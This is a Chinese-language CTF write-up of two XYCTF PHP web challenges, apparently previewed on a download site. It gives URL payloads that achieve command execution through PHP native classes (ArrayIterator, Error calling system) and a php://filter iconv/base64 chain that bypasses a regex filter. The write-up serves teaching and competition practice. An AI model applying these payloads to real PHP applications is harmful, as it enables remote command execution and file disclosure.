### XYCTF部分web题目复现 #### 一、PHP Web ezClass 题目解析 ##### 题目背景及分析 此题的核心在于理解并利用PHP中的原生类特性,通过构造特定的请求来执行系统命令或获取敏感信息。 - **题目代码**: ```php <?php highlight_file(__FILE__); $a = $_GET['a']; $aa = $_GET['aa']; $b = $_GET['b']; $bb = $_GET['bb']; $c = $_GET['c']; ((new $a($aa))->$c()); ((new $b($bb))->$c()); ``` - **核心概念**:题目中利用了PHP的动态类加载功能,即通过`new $a($aa)`这种方式动态创建一个对象,并调用其方法。其中`$a`和`b`代表类名,`$aa`和`bb`则是传递给这些类构造函数的参数,而`$c`则代表了要调用的方法名。 - **利用方式**: - **利用PHP原生类**:通过设置`$a`和`b`为PHP内置的类名,如`ArrayIterator`,并通过特定的参数触发预期的行为。 - **调用方法**:利用`$c`指定的方法,如`current`方法,从而达到执行命令的目的。 - **解决方案示例**: - 使用`ArrayIterator`类,它有一个`current()`方法可以返回当前的元素值。可以通过构造特定的URL来实现命令执行: ``` /?a=ArrayIterator&aa[]=system&c=current&b=ArrayIterator&bb[]=ls ``` - 另一种思路是利用`Error`类的`getMessage()`方法,来获取错误信息,例如: ``` /?a=Error&b=Error&aa=system&bb=cat /f*&c=getMessage ``` ##### 总结 此题的关键在于理解PHP如何动态加载类和调用方法,以及如何利用特定的类和方法来达到目标。 --- #### 二、Web 连连看 题目解析 ##### 题目背景及分析 此题主要考察如何绕过过滤机制并利用PHP的`php://filter`流上下文来读取文件。 - **题目代码**: ```php <?php highlight_file(__FILE__); error_reporting(0); $p = $_GET['p']; if (preg_match("/http|=|php|file|:|\/|\?/i", $p)) { die("waf!"); } $payload = "php://filter/$p/resource=/etc/passwd"; if (file_get_contents($payload) === "XYCTF") { echo file_get_contents('/flag'); } ``` - **核心概念**:题目设置了过滤机制来阻止直接访问敏感路径。但可以通过构造特殊的过滤器链来绕过这一限制,并读取文件内容。 - **利用方式**: - **构造过滤器链**:使用多级过滤器来处理文件内容,以便绕过过滤机制并最终读取文件。 - **多级Base64编码**:通过多次Base64编码,可以去除可能的脏数据,然后再进行解码以获得原始数据。 - **解决方案示例**: - 构造过滤器链,如使用`convert.iconv`和`convert.base64-encode/decode`组合,来处理读取的文件内容。 - 经过多次Base64编码与解码,最终得到有效信息。在这个过程中,需要注意每次编码后的结果要去除等号(`=`),并确保编码次数足够以完全去除脏数据。 - 示例过滤器链: ``` php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE| ``` ##### 总结 此题的关键在于理解和利用PHP的`php://filter`流上下文以及多级编码技术来绕过过滤机制并获取文件内容。通过构造复杂的过滤器链和多次编码解码操作,可以有效地去除脏数据并最终获取所需的信息。
剩余21页未读,继续阅读
- 粉丝: 82
- 资源: 2
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
最新资源
- Python大作业-爬虫(高分大作业)
- Python 图片压缩工具
- qt4.8.6资源,用户qt安装,编译与学习
- (176465412)电气设计视频教程-Eplan.P8
- Python大作业爬虫项目并且用web展示爬虫的内容(高分项目)源码+说明
- Python项目-实例-27 生成词云图.zip
- (176566822)数据库课程设计ssm027学校运动会信息管理系统+jsp.sql
- C# WPF-激光焊接机配套软件源码及文档(带视觉需halcon)
- (177333248)c++实现的仿QQ贪吃蛇大作战多人联机游戏.zip
- Python大作业-爬虫(高分大作业).zip
- (177487602)c++ 家谱管理系统.zip
- IMG-8274.GIF
- (177938850)115-基于51单片机和PROTEUS的基于C51单片机的智能交通灯设计.zip
- 基于微信小程序的宏华水利小程序.zip
- (OC)数据加载SVG图片
- linux3.8.6内核资源